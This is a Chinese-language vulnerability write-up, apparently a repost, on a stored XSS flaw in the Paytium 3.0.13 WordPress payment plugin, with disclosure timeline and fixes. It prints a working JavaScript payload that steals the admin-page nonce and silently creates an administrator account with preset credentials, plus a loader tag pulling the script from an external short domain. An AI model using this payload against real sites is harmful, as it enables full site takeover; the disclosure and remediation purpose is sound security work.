写点什么

Paytium 3.0.13 WordPress 插件存储型 XSS 漏洞分析

作者:qife122
  • 2025-11-10
    福建
  • 本文字数:2443 字

    阅读完需:约 8 分钟

Paytium 3.0.13 WordPress 插件中的存储型 XSS 漏洞

概念验证

背景

WordPress 目前拥有 60%的市场份额,是最常用的内容管理系统。开箱即用的 WordPress 只是一个博客平台,但通过安装插件,可以将其转换为网店、众筹平台甚至读心器。


任何人都可以创建和发布 WordPress 插件,没有质量控制,只有其他用户的插件评论。同时,已安装的 WordPress 插件中的错误可能导致很多麻烦:客户数据可能被盗,甚至可能成为网站的管理员。

Paytium WordPress 插件

我有时会接受朋友的挑战来测试他们网站的安全性。其中一个朋友有一个销售在线培训课程的网站。这是一个简单的 WordPress 网站,只有订阅者可以访问某些内容。她使用名为 Paytium 的插件来接收这些订阅者的在线支付。


Paytium 允许您在 WordPress 页面中插入支付表单:简单的捐赠表单或包含客户姓名和电子邮件地址的更扩展的表单。在撰写本文时(2019 年 9 月),它约有 3,000 多次安装。

存储型 XSS

我首先尝试在姓名字段中输入一些 HTML,看看是否会被渲染。


如果我能够向此字段注入 HTML,那么当网站所有者看到包含我操纵名称的记录时,它可能在 WordPress 管理员后端执行。


让我们尝试在姓名字段中加载图像:


Jonathan Bouman的概念验证 <img src="https://i.imgur.com/9eNikWc.jpg" alt="你找到了waldo">


HTML 注入是可能的,我们称之为存储型 XSS。


糟糕,它起作用了。输入未经过正确验证,因此我们能够添加自己的 HTML 内容。我们在 WordPress 后端获得了认证的存储型 XSS!


然而,Paytium 插件还会向攻击者发送公共发票链接(发票 ID 经过哈希处理)。结果是公共存储型 XSS。

漏洞代码

由于(免费)Paytium 插件可供我们使用,我们能够识别漏洞代码。经过几分钟的搜索,我们发现了一个名为get_field_data_html()的函数。它回显存储的数据,未应用 HTML 转义。此代码被 WordPress 后端用于显示订单概览。


一个不转义 HTML 值的 echo。

从存储型 XSS 到完全控制 WordPress

如果我们能静默添加一个具有预定义用户名和密码的新管理员用户呢?好主意!


WordPress 有一个特殊页面,其中包含一个表单,允许管理员邀请新用户并指定他们的角色。


添加新管理员用户。


此表单受 nonce 保护。Nonce 是一个带有秘密值的隐藏参数,由浏览器发送到服务器。服务器使用它来验证特定请求是否确实来自原始表单,否则恶意网站可能代表受害者强制提交表单;这是一种 CSRF 攻击。


服务器将此隐藏 nonce 添加到它呈现的每个表单中。外部恶意网站无法恢复此 nonce 值,默认情况下浏览器不允许一个域查看另一个域的 HTML 内容,因此没有 Nonce,我们无法提交表单。


创建用户表单的 nonce 示例。


然而,使用 javascript,我们能够请求来自同一域的页面。由于我们在受害者的域中有一个存储型 XSS 错误,这意味着我们能够请求 user-new.php 页面并查看 HTML 响应。因此,我们能够提取 Nonce 值并使用我们预定义的登录详细信息提交 user-new.php 表单。


Payload


var ajaxRequest = new XMLHttpRequest,    requestURL = "/wp-admin/user-new.php",    nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, !1),ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),    nonce = nonceMatch[1],    params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=joax&email=attacker@email.com&pass1=helloworld123&pass2=helloworld123&role=administrator";(ajaxRequest = new XMLHttpRequest).open("POST", requestURL, !0),ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),ajaxRequest.send(params);
复制代码


Payload 包含两个阶段:


  1. 请求 user-new.php 页面并使用正则表达式提取 nonce 值。

  2. 向我们预定义的登录详细信息和来自步骤 1 的 nonce 的 user-new.php 页面提交 POST 请求。

短域名是必须的

您可以通过将脚本直接放在<script></script>标签之间的姓名字段中来加载此脚本。但大多数字段有最大字符数限制或不允许特殊字符。


我的建议是将 payload 放在一个文件(比如 1.js)中,并将其托管在互联网上的短域上。越短越好,我们希望避免表单中的任何字符限制。因此,为自己获取一个 3 或 4 个字符长的域名并上传 payload!


当您将其上传到外部域时,请确保它支持 HTTPS,以避免浏览器有关“不安全内容”的任何警告。


最终 Payload


<script src=//short.domain/1.js></script>
复制代码

结论

由于 Paytium 插件不正确的用户输入验证,我们能够将 javascript 注入 WordPress 后端。任何加载此 javascript 的 WordPress 管理员将自动添加一个具有我们预定义凭据的新管理员用户。这导致完全控制 WordPress。此外,我们能够通过未经认证的发票 URL 查看存储型 XSS payload;对钓鱼者来说非常完美。

解决方案

  1. WordPress 开箱即用地支持用户输入验证;https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data。这允许轻松呈现用户输入并避免常见的 HTML 注入。

  2. 此外,WordPress 应要求管理员在执行重要操作之前手动输入密码。考虑在允许添加新管理员或安装插件之前输入密码提示。另一个解决方案可以是不同的访问级别,只想查看新订单?使用没有超级权限但仅够查看订单的用户登录。有关更多信息,请参见角色和能力。

奖励

时间线

  • 31-07-19 发现初始错误

  • 04-09-19 撰写此报告并通过电子邮件通知 Paytium

  • 05-09-19 Paytium 请求更多详细信息

  • 06-09-19 Paytium 发布插件更新,未提及安全修复

  • 07-09-19 Paytium 发布插件更新,未提及安全修复

  • 28-09-19 发现未经认证的存储型 XSS 错误,更新报告并通过电子邮件发送给 Paytium

  • 01-10-19 Paytium 回复报告评论。Paytium 通知我他们正在准备安全修复,将在本周晚些时候更新状态

  • 04-10-19 添加了关于 WordPress 中角色和能力功能的部分,添加了为特殊操作(如添加用户和安装插件)引入提示屏幕/手动输入的解决方案

  • 07-10-19 Paytium 发布修复并通过电子邮件通知其客户

  • 12-05-20 报告发布更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
Paytium 3.0.13 WordPress插件存储型XSS漏洞分析_网络安全_qife122_InfoQ写作社区